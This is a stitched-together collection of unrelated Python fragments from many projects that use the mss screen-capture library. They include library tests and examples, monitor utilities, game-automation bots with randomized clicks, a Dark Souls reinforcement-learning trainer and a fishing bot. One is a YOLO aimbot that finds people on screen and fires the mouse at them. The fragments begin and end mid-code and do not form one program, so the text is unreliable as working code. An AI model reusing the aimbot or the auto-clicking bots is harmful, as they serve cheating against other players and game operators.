def test_factory_systems(monkeypatch): """ Here, we are testing all systems. Too hard to maintain the test for all platforms, so test only on GNU/Linux. """ # GNU/Linux monkeypatch.setattr(platform, "system", lambda: "LINUX") with mss.mss() as sct: assert isinstance(sct, MSSMixin) monkeypatch.undo() # macOS monkeypatch.setattr(platform, "system", lambda: "Darwin") with pytest.raises(ScreenShotError): mss.mss() monkeypatch.undo() # Windows monkeypatch.setattr(platform, "system", lambda: "wInDoWs") with pytest.raises(ValueError): # wintypes.py:19: ValueError: _type_ 'v' not supported mss.mss()
def test_factory(monkeypatch): # Current system with mss.mss() as sct: assert isinstance(sct, MSSMixin) # Unknown monkeypatch.setattr(platform, "system", lambda: "Chuck Norris") with pytest.raises(ScreenShotError) as exc: mss.mss() monkeypatch.undo() if not PY3: error = exc.value[0] else: error = exc.value.args[0] assert error == "System 'chuck norris' not (yet?) implemented."
def test_bad_display_structure(monkeypatch): import mss.linux monkeypatch.setattr(mss.linux, "Display", lambda: None) with pytest.raises(TypeError): with mss.mss(): pass
def screenshot(self, filename): ''' Takes a screenshot and returns the path to the saved image (in TMP). None if could not take the screenshot. ''' if not self.configuration['screenshot']: self.log.info('Skipping screenshot.') return None temp = gettempdir() self.log.info('Taking screenshot') filepath = '{}_screenshot'.format(os.path.join(temp, filename)) if not self.user: self.log.error( 'Could not determine current user. Cannot take screenshot.') return None if self.os_name == 'Windows': try: img = mss() filepath = next(img.save(output=filepath, screen=-1)) except (ValueError, ScreenshotError) as ex: self.log.error(ex) else: filepath += '.jpg' cmd = self.configuration['screenshot'] cmd = cmd.replace('<user>', self.user) cmd = cmd.replace('<filepath>', filepath) self.runprocess(cmd, useshell=True) if not os.path.isfile(filepath): return None return filepath
def screenshot(screen=None): screenshoter = mss.mss() screenshots = [] monitors = screenshoter.enum_display_monitors() del monitors[0] if len(monitors) == 0: return None if screen: if screen < len(monitors): return None, 'the screen id does not exist' else: monitors = [monitors[screen]] for monitor in monitors: screenshots.append( _to_png( screenshoter.get_pixels(monitor), monitor['width'], monitor['height'] ) ) return screenshots, None
def test_arg_display(monkeypatch): import mss # Good value display = os.getenv("DISPLAY") with mss.mss(display=display): pass # Bad `display` (missing ":" in front of the number) with pytest.raises(ScreenShotError): with mss.mss(display="0"): pass # No `DISPLAY` in envars monkeypatch.delenv("DISPLAY") with pytest.raises(ScreenShotError): with mss.mss(): pass
def benchmark(func): count = 0 start = time() with mss.mss() as sct: while (time() - start) % 60 < 10: count += 1 func(sct) print(func.__name__, count)
def run(): """ Capture a screenshot """ # try: with mss.mss() as screen: img = screen.grab(screen.monitors[0]) data = util.png(img) return base64.b64encode(data)
def grab(queue): # type: (Queue) -> None rect = {"top": 0, "left": 0, "width": 600, "height": 800} with mss.mss() as sct: for _ in range(1_000): queue.put(sct.grab(rect)) # Tell the other worker to stop queue.put(None)
def test_implementation(monkeypatch): # No `CoreGraphics` library monkeypatch.setattr(ctypes.util, "find_library", lambda x: None) with pytest.raises(ScreenShotError): mss.mss() monkeypatch.undo() with mss.mss() as sct: # Test monitor's rotation original = sct.monitors[1] monkeypatch.setattr(sct.core, "CGDisplayRotation", lambda x: -90.0) sct._monitors = [] modified = sct.monitors[1] assert original["width"] == modified["height"] assert original["height"] == modified["width"] monkeypatch.undo() # Test bad data retrieval monkeypatch.setattr(sct.core, "CGWindowListCreateImage", lambda *args: None) with pytest.raises(ScreenShotError): sct.grab(sct.monitors[1])
def screenshot(self, *args): """Take a screenshot of the GSF Parser window and save""" x = self.winfo_x() y = self.winfo_y() result_box = (x, y, self.winfo_reqwidth() + x + 13, self.winfo_reqheight() + y + 15) file_name = os.path.join( get_temp_directory(), "screenshot_" + datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + ".png") with mss() as sct: image = sct.grab(result_box) image = Image.frombytes("RGB", image.size, image.rgb) image.save(file_name)
def run(self): """Run the message reading loop""" print("[ChatParser] Started") screenshotter = mss() screenshot = screenshotter.grab(self.box) image = Image.frombytes("RGB", screenshot.size, screenshot.rgb) try: results = self.parse_messages(image, self.colors) except Exception: self.conn.send(tuple(exc_info())) return print("[ChatParser] Results: {}".format(results)) self.conn.send(results) print("[ChatParser] Stopped")
def __init__(self, width=640, height=480, x_offset=0, y_offset=0, fps=30, buffer_seconds=5): self.width = width self.height = height self.x_offset = x_offset self.y_offset = y_offset self.frame_time = 1 / fps self.frame_buffer_size = buffer_seconds * fps self.redis_client = redis_client self.screen_grabber = mss.mss() # Clear any previously stored frames self.redis_client.delete(config["frame_grabber"]["redis_key"])
def test_region_out_of_monitor_bounds(): display = os.getenv("DISPLAY") monitor = {"left": -30, "top": 0, "width": 100, "height": 100} with mss.mss(display=display) as sct: with pytest.raises(ScreenShotError) as exc: assert sct.grab(monitor) assert str(exc.value) assert "retval" in exc.value.details assert "args" in exc.value.details details = sct.get_error_details() assert details["xerror"] assert isinstance(details["xerror_details"], dict)
def start_ambient(): sct = mss() monitor = sct.monitors[0] try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in frame_limiter(FPS): row = process_im(grab_im(sct, monitor)) sock.sendto(row.tobytes(), (IP, PORT)) except KeyboardInterrupt as e: turn_off_leds() raise e except OSError as e: print("Disconnected.") finally: sock.close()
def getCap(videoUrl): global sct if "screen" in url: sct = mss.mss() cap = None if sct is None: if webcam: #cap = WebcamVideoStream(src=""+str(videoUrl)+"").start() cap = WebcamVideoStream(videoUrl,(procWidth,procHeight),framerate) cap.start() else: cap = cv2.VideoCapture(videoUrl) cap.set(cv2.CAP_PROP_FRAME_WIDTH, procWidth) cap.set(cv2.CAP_PROP_FRAME_HEIGHT, procHeight) cap.set(cv2.CAP_PROP_FPS, framerate) return cap
def benchmark(): with mss.mss() as sct: im = sct.grab(sct.monitors[0]) for func in ( pil_frombytes, mss_rgb, pil_frombytes_rgb, numpy_flip, numpy_slice, ): count = 0 start = time.time() while (time.time() - start) <= 1: func(im) im._ScreenShot__rgb = None count += 1 print(func.__name__.ljust(17), count)
def get_local_monitors(): # We currently use mss().monitors to get monitor information. # mss().monitors[0] is a dict of all monitors together # mss().monitors[N] is a dict of the monitor N (with N > 0) # But we drop the first elem because it's sometimes wrong because of # the bug in mss module. # TODO: Need to cache this property somewhere. mss_monitors = mss().monitors[1:] monitors = [] for idx, elem in enumerate(mss_monitors): monitors.append(Monitor( elem['width'], elem['height'], elem['left'], elem['top'], idx == 0 )) return monitors
def __init__(self, gui_profile: GSFInterface): """ :param gui_profile: GUI Profile selected by the user """ self.rof = None self.ship_class = None self._scope_mode = False self.interface = gui_profile self.mouse_queue = Queue() self.exit_queue = Queue() self.chance_queue = Queue() self.pressed = False self.last = datetime.now() path = os.path.join(get_assets_directory(), "vision", "pointer.png") self.pointer = Image.open(path) Thread.__init__(self) self.mss = mss()
def __init__(self, box): super(MssImpl, self).__init__(box) self._is_osx = platform == 'darwin' self._executor = mss() if self._is_osx: # XXX: `mss` passes wrong param when it calls # `coregraphics.CGWindowListCreateImage' resulting in doubled # image size in retina display. # We fix this by hooking that function directly. orig_func = self._executor.core.CGWindowListCreateImage def _hook(screen_bounds, list_option, window_id, image_option): norminal_resolution = 1 << 4 return orig_func( screen_bounds, list_option, window_id, norminal_resolution ) self._executor.core.CGWindowListCreateImage = _hook
def screen_record_efficient(): # 800x600 windowed mode mon = {"top": 40, "left": 0, "width": 800, "height": 640} title = "[MSS] FPS benchmark" fps = 0 sct = mss.mss() last_time = time.time() while time.time() - last_time < 1: img = numpy.asarray(sct.grab(mon)) fps += 1 cv2.imshow(title, img) if cv2.waitKey(25) & 0xFF == ord("q"): cv2.destroyAllWindows() break return fps
def stream_screen(mon): sct = mss() last_time = time.time() while(True): # current_screen = ImageGrab.grab(bbox=(0,40,800,640)) #sct.get_pixels(mon) current_screen = get_current_screen(mon) processed_screen = process_img(current_screen) #KeyPress("s"); k.tap_key('Space') #printscreen = np.array(ImageGrab.grab(bbox=(0,40,800,640))) #print('loop took {} seconds'.format(time.time()-last_time)) #last_time = time.time() cv2.imshow('window', cv2.cvtColor(current_screen, cv2.COLOR_BGR2RGB)) #cv2.imshow('window', cv2.cvtColor(current_screen, cv2.COLOR_BGR2RGB)) if cv2.waitKey(25) & 0xFF == ord('q'): cv2.destroyAllWindows() break
def test_no_xrandr_extension(monkeypatch): x11 = ctypes.util.find_library("X11") def find_lib_mocked(lib): """ Returns None to emulate no XRANDR library. Returns the previous found X11 library else. It is a naive approach, but works for now. """ if lib == "Xrandr": return None return x11 # No `Xrandr` library monkeypatch.setattr(ctypes.util, "find_library", find_lib_mocked) with pytest.raises(ScreenShotError): with mss.mss(): pass
def save_video_frame(win): global _RECORD_VIDEO_STRUCT, _RECORD_VIDEO_OUT, _RECORD_VIDEO_MONITOR if _RECORD_VIDEO_STRUCT: mss = _RECORD_VIDEO_STRUCT[0] cv2 = _RECORD_VIDEO_STRUCT[1] numpy = _RECORD_VIDEO_STRUCT[2] if not _RECORD_VIDEO_OUT: pos = win.GetScreenPosition() size = win.GetSize() #fourcc = cv2.VideoWriter_fourcc(*'MJPG') fourcc = cv2.VideoWriter_fourcc(*'XVID') _RECORD_VIDEO_OUT = cv2.VideoWriter('video.avi', fourcc, 4, (size.width, size.height)) _RECORD_VIDEO_MONITOR = {'top': pos.y, 'left': pos.x, 'width': size.width, 'height': size.height } with mss() as sct: pos = win.GetScreenPosition() size = win.GetSize() frame = numpy.array(sct.grab(_RECORD_VIDEO_MONITOR)) frame = numpy.flip(frame[:, :, :3], 2) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) _RECORD_VIDEO_OUT.write(frame)
def test_implementation(monkeypatch): # Test bad data retrieval with mss.mss() as sct: monkeypatch.setattr(sct.gdi32, "GetDIBits", lambda *args: 0) with pytest.raises(ScreenShotError): sct.shot()
def sct(): try: # `display` kwarg is only for GNU/Linux return mss.mss(display=os.getenv("DISPLAY")) except TypeError: return mss.mss()
def screens(): screenshoter = mss.mss() monitors = screenshoter.enum_display_monitors() return monitors[1:] if len(monitors) > 1 else monitors
def sct(display): try: # display keyword is only for GNU/Linux return mss(display=display) except TypeError: return mss()
def tupo(): cishu = 0 refresh=False liaotu=None while True : #直到取消,或者出错 if pyautogui.position()[0] >= pyautogui.size()[0] * 0.98: select_mode() #截屏 im = np.array(mss.mss().grab(monitor)) screen = cv2.cvtColor(im, cv2.COLOR_BGRA2BGR) #print(scalar) #cv2.imshow("Image", screen) #print(screen.shape) #cv2.waitKey(0) #寮突破判断 if liaotu==None: want = imgs['liaotupo'] size = want[0].shape h, w , ___ = size pts = action.locate(screen,want,0) if not len(pts) == 0: liaotu=True print('寮突破') want = imgs['gerentupo'] size = want[0].shape h, w , ___ = size pts = action.locate(screen,want,0) if not len(pts) == 0: liaotu=False print('个人突破') if liaotu==True: if cishu >= 6: print('等待5分钟CD') t = 5*60-20 #t=2 time.sleep(t) cishu=cishu-1 elif liaotu==False: if cishu >= 30: print('进攻次数上限') select_mode() want = imgs['jingonghuise'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: if refresh==True: print('需要刷新') select_mode() cishu=6 print('进攻次数上限:',cishu) refresh=True #奖励 for i in ['jujue','queding',\ 'shibai','ying','jiangli',\ 'jingong','jingong2',\ 'lingxunzhang','lingxunzhang2',\ 'shuaxin']: #print(i) want=imgs[i] size = want[0].shape h, w , ___ = size target=screen pts=action.locate(target,want,0) if not len(pts)==0: xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) t = random.randint(15,50) / 100 if i == 'shibai': refresh=False if cishu>0: cishu = cishu - 1 print('进攻次数:',cishu) t = random.randint(100,200) / 100 elif i=='jingong' or i=='jingong2': if refresh==True: print('需要刷新') select_mode() refresh=True cishu = cishu + 1 print('进攻次数:',cishu) t = random.randint(500,800) / 100 else: refresh=False print('突破中。。。',i) time.sleep(t) break
def get_display_dimensions(self) -> Region: """Returns the dimensions of the current virtual display, which is the combined size of all physical monitors. """ with mss.mss() as sct: return monitor_to_region(sct.monitors[0])
def yuhun2(): cishu=0 while True : #鼠标移到最右侧中止 if pyautogui.position()[0] >= pyautogui.size()[0] * 0.98: select_mode() #截屏 im = np.array(mss.mss().grab(monitor)) screen = cv2.cvtColor(im, cv2.COLOR_BGRA2BGR) #print('screen shot ok',time.ctime()) #体力不足 want = imgs['notili'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('体力不足') select_mode() #如果队友推出则自己也退出 want = imgs['tiaozhanhuise'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('队友已退出') want = imgs['likaiduiwu'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) t = random.randint(15,30) / 100 time.sleep(t) #自动点击通关结束后的页面 for i in ['jujue','moren','queding','querenyuhun',\ 'ying','jiangli','jixu',\ 'jieshou2','jieshou','shibai']: want = imgs[i] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: if i=='yuhunbeijing': cishu=cishu+1 print('挑战次数:',cishu) print('挑战中。。。',i) xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) t = random.randint(15,30) / 100 time.sleep(t) break
def main(): global args, move_list, i_step args = parser.parse_args() #move_list = [x.__name__ for x in movement.__dict__.values() # if inspect.isfunction(x)] #move_list.remove('focus') move_list=[] move_list.append('f_roll') move_list.append('idle') move_list.append('r_roll') move_list.append('l_roll') move_list.append('b_roll') move_list.append('light_atk') move_list.append('drink_estus') m = PyMouse(display=':0') k = PyKeyboard(display=':0') sct = mss(display=':0') env = DarkSoulsEnv(sct=sct, m=m, k=k) if args.pretrain: pass else: args.pretrain=None model1 = DQN(action=len(move_list), variables=3, pretrained=args.pretrain) if use_cuda: model1.cuda() # get the number of model parameters print('Number of model parameters: {}'.format( sum([p.data.nelement() for p in model1.parameters()]))) optimizer = optim.Adam(model1.parameters(), lr=args.lr) #optimizer = optim.RMSprop(model.parameters()) #optimizer = optim.SGD(model.parameters(), lr=args.lr, momentum=0.9) i_step = 0 args.start_episode = 0 if args.resume: if os.path.isfile(args.resume): print("=> loading checkpoint '{}'".format(args.resume)) checkpoint = torch.load(args.resume) args.start_episode = checkpoint['episode'] i_step = checkpoint['step'] args.name = checkpoint['name'] model1.load_state_dict(checkpoint['state_dict']) print("=> loaded checkpoint '{}' (epoch {})" .format(args.resume, checkpoint['episode'])) else: print("=> no checkpoint found at '{}'".format(args.resume)) model2 = copy.deepcopy(model1) train(model=model1, model2=model2, env=env, optimizer=optimizer)
import mozinfo import mss import os import time from moziris.api.enums import OSPlatform from moziris.api.errors import APIHelperError logger = logging.getLogger(__name__) OS_NAME = mozinfo.os OS_VERSION = mozinfo.os_version OS_BITS = mozinfo.bits PROCESSOR = mozinfo.processor MONITORS = mss.mss().monitors[1:] MULTI_MONITOR_AREA = mss.mss().monitors[0] class OSHelper: LOCALES = [ "en-US", "zh-CN", "es-ES", "de", "fr", "ru", "ar", "ko", "pt-PT",
return 0 if len(road) > index: return road[index] return road[-1] def getRoadDiff(pts): if (len(road) == 0): return 0 s = abs(road[0]) for i in range(1, min(len(road), pts)): s += abs(road[i] - road[i - 1]) return s sct = mss.mss() while (True): # sct = mss.mss(), a python module for capturing our windows screen # <gameScreen> contains our Most Wanted screen size and position screen = np.array(sct.grab(gameScreen)) # grab screen screen = np.flip(screen[:, :, :3], 2) # format for openCV screen = cv2.cvtColor(screen, cv2.COLOR_BGR2RGB) # change to RGB #frame = screen frame = cv2.resize(screen.copy(), (aiWidth, aiHeight)) minimapCenterX = int(aiWidth * 11.5 / 100) - 1 minimapCenterY = int(aiHeight * 79.2 / 100) minimapSize = 75 cv2.rectangle(frame,
def start(config): # Config YOLO_DIRECTORY = config.get('Yolo', 'Directory') CONFIDENCE = config.getfloat('Yolo', 'Confidence') THRESHOLD = config.getfloat('Yolo', 'Threshold') ACTIVATION_RANGE = config.getint('Sampling', 'ActivationRange') AIM_LOCK = False # load the COCO class labels our YOLO model was trained on labelsPath = os.path.sep.join( [YOLO_DIRECTORY, config.get('Yolo', 'Labels')]) LABELS = open(labelsPath).read().strip().split("\n") # initialize a list of colors to represent each possible class label np.random.seed(42) COLORS = np.random.randint(0, 255, size=(len(LABELS), 3), dtype="uint8") # derive the paths to the YOLO weights and model configuration weightsPath = os.path.sep.join([YOLO_DIRECTORY, config['Yolo']['Weights']]) configPath = os.path.sep.join([YOLO_DIRECTORY, config['Yolo']['Config']]) # Wait for buffering time.sleep(0.4) # load our YOLO object detector trained on COCO dataset (80 classes) # and determine only the *output* layer names that we need from YOLO print("[INFO] loading neural-network from disk...") net = cv2.dnn.readNetFromDarknet(configPath, weightsPath) net.setPreferableBackend(cv2.dnn.DNN_BACKEND_DEFAULT) net.setPreferableTarget(cv2.dnn.DNN_TARGET_OPENCL) ln = net.getLayerNames() ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] def on_move(x, y): pass def on_click(x, y, button, pressed): nonlocal AIM_LOCK if button == Button.right: AIM_LOCK = not AIM_LOCK print('{0}'.format(AIM_LOCK)) def on_scroll(x, y, dx, dy): pass listener = Listener(on_move=on_move, on_click=on_click, on_scroll=on_scroll) listener.start() # Test for GPU support build_info = str("".join(cv2.getBuildInformation().split())) if cv2.ocl.haveOpenCL(): cv2.ocl.setUseOpenCL(True) cv2.ocl.useOpenCL() print(colored("[OKAY] OpenCL is working!", "green")) else: print(colored("[WARNING] OpenCL acceleration is disabled!", "yellow")) if "CUDA:YES" in build_info: print(colored("[OKAY] CUDA is working!", "green")) else: print(colored("[WARNING] CUDA acceleration is disabled!", "yellow")) print() W, H = None, None # loop over frames from the video file stream with mss.mss() as sct: # Handle Ctrl+C in terminal, release pointers def signal_handler(sig, frame): # release the file pointers print("\n[INFO] cleaning up...") listener.stop sct.close() cv2.destroyAllWindows() sys.exit(0) signal.signal(signal.SIGINT, signal_handler) # Part of the screen to capture Wd, Hd = sct.monitors[1]["width"], sct.monitors[1]["height"] HALF_RANGE = ACTIVATION_RANGE / 2 monitor = { "top": (Hd / 2) - HALF_RANGE, "left": (Wd / 2) - HALF_RANGE, "width": ACTIVATION_RANGE, "height": ACTIVATION_RANGE } print("[INFO] loading screencapture device...") while "Screen capturing": if not AIM_LOCK: continue else: start_time = timeit.default_timer() # Get raw pixels from the screen, save it to a Numpy array frame = np.array(sct.grab(monitor)) frame = cv2.cvtColor(frame, cv2.COLOR_RGBA2BGR) # if the frame dimensions are empty, grab them if W is None or H is None: (H, W) = frame.shape[:2] frame = cv2.UMat(frame) # construct a blob from the input frame and then perform a forward # pass of the YOLO object detector, giving us our bounding boxes # and associated probabilities blob = cv2.dnn.blobFromImage(frame, 1 / 260, (150, 150), swapRB=False, crop=False) net.setInput(blob) layerOutputs = net.forward(ln) # initialize our lists of detected bounding boxes, confidences, # and class IDs, respectively boxes = [] confidences = [] classIDs = [] # loop over each of the layer outputs for output in layerOutputs: # loop over each of the detections for detection in output: # extract the class ID and confidence (i.e., probability) # of the current object detection scores = detection[5:] # classID = np.argmax(scores) # confidence = scores[classID] classID = 0 # person = 0 confidence = scores[classID] # filter out weak predictions by ensuring the detected # probability is greater than the minimum probability if confidence > CONFIDENCE: # scale the bounding box coordinates back relative to # the size of the image, keeping in mind that YOLO # actually returns the center (x, y)-coordinates of # the bounding box followed by the boxes' width and # height box = detection[0:4] * np.array([W, H, W, H]) (centerX, centerY, width, height) = box.astype("int") # use the center (x, y)-coordinates to derive the top # and and left corner of the bounding box x = int(centerX - (width / 2)) y = int(centerY - (height / 2)) # update our list of bounding box coordinates, # confidences, and class IDs boxes.append([x, y, int(width), int(height)]) confidences.append(float(confidence)) classIDs.append(classID) # apply non-maxima suppression to suppress weak, overlapping # bounding boxes idxs = cv2.dnn.NMSBoxes(boxes, confidences, CONFIDENCE, THRESHOLD) # ensure at least one detection exists if len(idxs) > 0: # Find best player match bestMatch = confidences[np.argmax(confidences)] # loop over the indexes we are keeping for i in idxs.flatten(): # extract the bounding box coordinates (x, y) = (boxes[i][0], boxes[i][1]) (w, h) = (boxes[i][2], boxes[i][3]) # draw target dot on the frame target_dot = {'x': x + w / 2, 'y': y + h / 5} cv2.circle( frame, (int(target_dot['x']), int(target_dot['y'])), 5, (0, 0, 255), -1) # draw a bounding box rectangle and label on the frame # color = [int(c) for c in COLORS[classIDs[i]]] #cv2.rectangle(frame, (x, y), # (x + w, y + h), (0, 0, 255), 2) text = "TARGET {}%".format(int(confidences[i] * 100)) cv2.putText(frame, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2) if bestMatch == confidences[i]: # translate aimbot window coordinates to monitor coordinates mouseX = monitor["left"] + (target_dot['x']) mouseY = monitor["top"] + (target_dot['y']) # Set pointer position mouse.position = (mouseX, mouseY) # Snipe target mouse.click(Button.left, 2) cv2.imshow("Neural Net Vision (Pine)", frame) elapsed = timeit.default_timer() - start_time sys.stdout.write( "\r{1} FPS with {0} MS interpolation delay \t".format( int(elapsed * 1000), int(1 / elapsed))) sys.stdout.flush() if cv2.waitKey(1) & 0xFF == ord('0'): break # Clean up on exit signal_handler(0, 0)
memdc = srcdc.CreateCompatibleDC() bmp = win32ui.CreateBitmap() play_one = 0 grab_width = "" grab_height = "" grab_left = "" grab_top = "" is_first_time = 1 merge_send = [] max_merge = 3 is_new = True encode_param = [int(cv2.IMWRITE_PNG_COMPRESSION), 3] client_server_addr = "" address = "" udp_server = "" sct = mss() def grab_screen(region=None): global hwin global hwindc global srcdc global memdc global bmp global play_one global grab_width global grab_height global grab_left global grab_top global sct #if region:
q.task_done() resizeQueue = Queue(maxsize=0) worker = Thread(target=crawlResize, args=(resizeQueue, )) worker.setDaemon(True) worker.start() ############################# END OF RESIZE ############################# MAIN LOOP while True: start = time.time() with mss.mss() as sct: sct_img = sct.grab(monitor) if resizeQueue.qsize() < 3: resizeQueue.put((sct_img)) else: print("SKIPPED!!!!!!!!!!") sleep(0.05) end = time.time() #print(end - start) ############################# END OF MAIN LOOP
def card(): while True: #鼠标移到右侧中止 if pyautogui.position()[0] >= pyautogui.size()[0] * 0.98: select_mode() #截屏 im = np.array(mss.mss().grab(monitor)) screen = cv2.cvtColor(im, cv2.COLOR_BGRA2BGR) for i in ['taiyin2','sanshinei','taiyin3']: want = imgs[i] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('结界卡*',i) xy = action.cheat(pts[0], w/2, h-10) pyautogui.click(xy) break if len(pts) == 0: print('结界卡不足') select_mode() for i in range(2): #截屏 im = np.array(mss.mss().grab(monitor)) screen = cv2.cvtColor(im, cv2.COLOR_BGRA2BGR) want = imgs['taiyin'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if len(pts) == 0: print('结界卡不足') select_mode() else: print('结界卡',i) xy = action.cheat(pts[0], w/2, h-10 ) pyautogui.click(xy) pyautogui.moveTo(xy) #截屏 im = np.array(mss.mss().grab(monitor)) screen = cv2.cvtColor(im, cv2.COLOR_BGRA2BGR) want = imgs['hecheng'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('合成中。。。') xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) pyautogui.moveTo(xy) time.sleep(1)
def gouliang2(): while True: #直到取消,或者出错 if pyautogui.position()[0] >= pyautogui.size()[0] * 0.98: select_mode() #截屏 im = np.array(mss.mss().grab(monitor)) screen = cv2.cvtColor(im, cv2.COLOR_BGRA2BGR) #设定目标,开始查找 #体力不足 want = imgs['notili'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('体力不足 ') select_mode() #进入后 want = imgs['guding'] pts = action.locate(screen,want,0) if not len(pts) == 0: print('正在地图中') want = imgs['xiao'] pts = action.locate(screen,want,0) if not len(pts) == 0: print('组队状态中') else: print('退出重新组队') for i in ['queren', 'queren2','tuichu']: want = imgs[i] size = want[0].shape h, w , ___ = size pts = action.locate(screen,want,0) if not len(pts) == 0: print('退出中',i) try: queding = pts[1] except: queding = pts[0] queding = action.cheat(queding, w, h) pyautogui.click(queding) t = random.randint(50,80) / 100 time.sleep(t) break continue for i in ['jujue','jieshou','ying',\ 'jiangli','jixu']: want = imgs[i] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('领取奖励',i) xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) if i=='jieshou' or i=='jieshou1': t = random.randint(15,30) / 100 else: t = random.randint(15,30) / 100 time.sleep(t) break
""" This is part of the MSS Python's module. Source: https://github.com/BoboTiG/python-mss Usage example with a specific display. """ import mss with mss.mss(display=":0.0") as sct: for filename in sct.save(): print(filename)
def all_displays() -> List[Region]: """Returns list of display regions, without combined virtual display.""" with mss.mss() as sct: return [monitor_to_region(monitor) for monitor in sct.monitors[1:]]
def Screenshot(): with mss.mss() as sct: monitor = sct.monitors[1] im = sct.grab(monitor) raw_bytes = mss.tools.to_png(im.rgb, im.size) return raw_bytes
def screenshot(): with mss() as sct: sct.shot(mon=-1, output=file)
def mss_grabber(self, bbox=None): with mss.mss() as sct: im = sct.grab(bbox) return Image.frombytes('RGB', im.size, im.bgra, 'raw', 'BGRX').convert('RGBA')
""" This is part of the MSS Python's module. Source: https://github.com/BoboTiG/python-mss PIL example using frombytes(). """ import mss from PIL import Image with mss.mss() as sct: # Get rid of the first, as it represents the "All in One" monitor: for num, monitor in enumerate(sct.monitors[1:], 1): # Get raw pixels from the screen sct_img = sct.grab(monitor) # Create the Image img = Image.frombytes("RGB", sct_img.size, sct_img.bgra, "raw", "BGRX") # The same, but less efficient: # img = Image.frombytes('RGB', sct_img.size, sct_img.rgb) # And save it! output = "monitor-{}.png".format(num) img.save(output) print(output)
def gouliang3(): #print('debug') count=0 refresh=0 while True: #直到取消,或者出错 if pyautogui.position()[0] >= pyautogui.size()[0] * 0.98: select_mode() #截屏 im = np.array(mss.mss().grab(monitor)) screen = cv2.cvtColor(im, cv2.COLOR_BGRA2BGR) #体力不足 want = imgs['notili'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('体力不足 ') select_mode() want = imgs['queren'] size = want[0].shape h, w , ___ = size target = screen #x1,x2 = upleft, (965, 522) #target = action.cut(screen, x1, x2) pts = action.locate(target,want,0) if not len(pts) == 0: print('确认退出') try: queding = pts[1] except: queding = pts[0] xy = action.cheat(queding, w, h) pyautogui.click(xy) pyautogui.moveTo(xy) t = random.randint(15,30) / 100 time.sleep(t) #设定目标,开始查找 #进入后 want=imgs['guding'] #x1 = (785, 606) #x2 = downright #target = action.cut(screen, x1, x2) pts = action.locate(screen,want,0) if not len(pts) == 0: print('正在地图中') want = imgs['left'] target = screen pts = action.locate(target,want,0) if not len(pts) == 0: if scalar: right=(854/2, 528/2) else: right = (854, 527) right = action.cheat(right, 10, 10) pyautogui.click(right) t = random.randint(50,80) / 100 time.sleep(t) continue for i in ['boss', 'jian']: want = imgs[i] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: if refresh==0: count=count+1 elif refresh>2: print('达到上限') select_mode() refresh=refresh+1 print('点击小怪',i) print('探索次数:',count) if count>500: print('次数上限') select_mode() xx = action.cheat(pts[0], w, h) pyautogui.click(xx) time.sleep(0.5) break if len(pts)==0: for i in ['queren','queren2','tuichu']: want = imgs[i] size = want[0].shape h, w , ___ = size pts = action.locate(screen,want,0) if not len(pts) == 0: print('退出中',i) try: queding = pts[1] except: queding = pts[0] queding = action.cheat(queding, w, h) pyautogui.click(queding) t = random.randint(50,80) / 100 time.sleep(t) break continue for i in ['jujue','querenyuhun',\ 'tansuo','ying','jiangli','jixu','c28','ditu']: want = imgs[i] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: refresh=0 print('领取奖励',i) xy = action.cheat(pts[0], w, h ) pyautogui.click(xy) t = random.randint(15,30) / 100 time.sleep(t) break
def find_bob(self,res=40): ''' Finds the bobber via difference map method. Takes an initial screenshot in area defined by arg cap_area before bobber is on screen. Then presses '1' to cast line, waits 2 seconds, and starts sampling 2D points in the cap_area grid. find_bob takes a square screenshot with sides 2*res at every sample point. Each sample point is separated by res in both x and y axes. Calculates the mean color values of the screenshot at the sample point, and of the cropped initial screenshot. If the difference between the mean color values of the sample point screenshot and the initial screenshot is above UD param bob_color_diff, find_bob logs a hit at coordinates x and y. In the past, find_bob has found false positives if there are other changes to the cap_area, such as a player passing by, another fisher, or a water effect. To mitigate this, find_bob takes UD param sct_check_iters more screenshots and only logs a hit if all of them pass the difference threshold. Calculates the arithmetic mean point of all the hits, weighted by the magnitude of the difference of means, moves the mouse to this mean location, and returns these coordinates as tuple. Arguments: dict cap_area - dictionary defining the screenshot capture area. See params section of herefishy.py for details. int res[=40] - probe size in pixels. Determines grid spacing as well as the size of the screenshot taken at each sample point Returns: tuple - coordinates of find_bob's best guess of the bobber location ''' # pre-calculate the screen capture area (cap_area) in forms that are # convenient for MSS, Numpy array splicing, and for loops cap_area = self.params['cap_area'] area_pts = np.array([ [cap_area['left'], cap_area['top']], [cap_area['left'] + cap_area['width'],cap_area['top'] + cap_area['height']] ]) bounds = rect_bounds(area_pts) # list of points where color difference above the threshold was detected bob_loc_lst = [] # color difference indices corresponding to each point in bob_loc_lst weight_lst = [] with mss() as sct: # start taking screenshots # initial screenshot of cap_area init_sct = np.array(sct.grab(cap_area)) self.mouser.presskey(0x12) # press '1' key using Quartz CoreGraphics time.sleep(2) #wait for bobber to appear for x in range(bounds[0],bounds[1],res): # 